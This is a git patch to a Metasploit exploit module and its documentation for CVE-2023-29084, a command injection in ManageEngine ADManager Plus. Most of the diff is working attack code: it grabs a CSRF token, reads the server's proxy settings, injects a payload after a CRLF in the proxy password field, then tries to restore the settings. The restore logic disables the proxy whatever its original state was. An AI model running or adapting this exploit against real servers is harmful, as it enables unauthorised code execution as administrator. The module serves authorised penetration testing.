From f7d2cdae561b53bcdde4d32f3e44dc0a7ee1a2ea Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Mon, 29 May 2023 15:38:04 -0500 Subject: [PATCH] Add in ability to restore settings n documentation changes. Previously there was not the ability to restore the server proxy setting. This updates the code to do so. Additionally this also updates the documentation to note that Fetch payloads are incompatible with this module since they use HTTP connections that will be impacted by this module changing the server's HTTP proxy settings. There is no way around this. --- ..._plus_cve_2023_29084_auth_cmd_injection.md | 3 + ..._plus_cve_2023_29084_auth_cmd_injection.rb | 78 +++++++++++++++++-- 2 files changed, 73 insertions(+), 8 deletions(-) diff --git a/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md b/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md index e6bd9a6e29..7ebd300d73 100644 --- a/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md +++ b/documentation/modules/exploit/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.md @@ -11,6 +11,9 @@ running ADManager Plus, which will typically be the local administrator. Note that the attacker must be authenticated in order to send requests to `/api/json/admin/saveServerSettings`, so this vulnerability does require authentication to exploit. +As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads +with this exploit, since these will use HTTP connections that will be affected by the change in configuration. + ## Verification Steps 1. Set up a Windows Server target as a domain controller server. diff --git a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb index 356cddb44d..61dd242335 100644 --- a/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb +++ b/modules/exploits/windows/http/manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection.rb @@ -28,6 +28,9 @@ class MetasploitModule < Msf::Exploit::Remote Note that the attacker must be authenticated in order to send requests to /api/json/admin/saveServerSettings, so this vulnerability does require authentication to exploit. + + As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads + with this exploit, since these will use HTTP connections that will be affected by the change in configuration. }, 'Author' => [ 'Simon Humbert', # Disclosure of bug via ZDI @@ -66,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] + 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] # We are changing the proxy settings for every HTTP connection on the target server. } ) ) @@ -177,17 +180,57 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::NoAccess, 'Could not obtain adscrf cookie!') if @csrf_cookie.blank? - execute_command(payload.encoded) + retrieve_original_settings + + begin + modify_proxy(create_params_value_enable(payload.encoded)) + ensure + modify_proxy(create_params_value_restore) + end end - def execute_command(cmd) + def retrieve_original_settings + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'getServerSettings'), + 'method' => 'POST', + 'vars_post' => { + 'adscsrf' => @csrf_cookie + }, + 'keep_cookies' => true + } + ) + + unless res && res.code == 200 && res&.body&.match(/ads_admin_notifications/) + fail_with(Failure::UnexpectedReply, 'Was unable to get the admin settings for restoration!') + end + + json_body = JSON.parse(res.body) + server_details = json_body['serverDetails'] + unless server_details + fail_with(Failure::UnexpectedReply, 'Was unable to retrieve the server settings!') + end + + server_details.each do |elm| + next unless elm['tabId'] == 'proxy' + + @original_port = elm['PORT'] + @original_password = elm['PASSWORD'] + @proxy_enabled = elm['ENABLE_PROXY'] + @original_server_name = elm['SERVER_NAME'] + @original_user_name = elm['USER_NAME'] + break + end + end + + def modify_proxy(params) res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'saveServerSettings'), 'method' => 'POST', 'vars_post' => { 'adscsrf' => @csrf_cookie, - 'params' => create_params_value(cmd) + 'params' => params }, 'keep_cookies' => true } @@ -199,7 +242,7 @@ class MetasploitModule < Msf::Exploit::Remote elsif res.body&.match(/Successfully updated the following settings.*-.*Proxy Settings/) print_warning("Settings successfully changed but the fact that the server responded likely means the payload didn't execute!") elsif res.body&.match(/"status":"error"/) - print_error("The payload somehow triggered an error on the target's side!") + print_error("The payload somehow triggered an error on the target's side! Error was: #{res.body}") else fail_with(Failure::PayloadFailed, 'Was not able to successfully update the settings to execute the payload!') end @@ -210,15 +253,34 @@ class MetasploitModule < Msf::Exploit::Remote end end - def create_params_value(cmd) + def create_params_value_enable(cmd) [ { tabId: 'proxy', ENABLE_PROXY: true, - SERVER_NAME: 'localhost', + SERVER_NAME: 'localhost', # In my experience this worked most reliably. USER_NAME: Rex::Text.rand_text_alphanumeric(4..20).to_s, PASSWORD: "#{Rex::Text.rand_text_alphanumeric(4..20)}\r\n#{cmd}", - PORT: datastore['RPORT'] + PORT: datastore['RPORT'] # In my experience, setting this to the same PORT as the web server worked reliably. + } + ].to_json + end + + def create_params_value_restore(enable_proxy = nil) + if enable_proxy.blank? + @proxy_enabled = false + else + @proxy_enabled = true + end + + [ + { + tabId: 'proxy', + ENABLE_PROXY: @proxy_enabled, + SERVER_NAME: @original_server_name, + USER_NAME: @original_user_name, + PASSWORD: @original_password, + PORT: @original_port } ].to_json end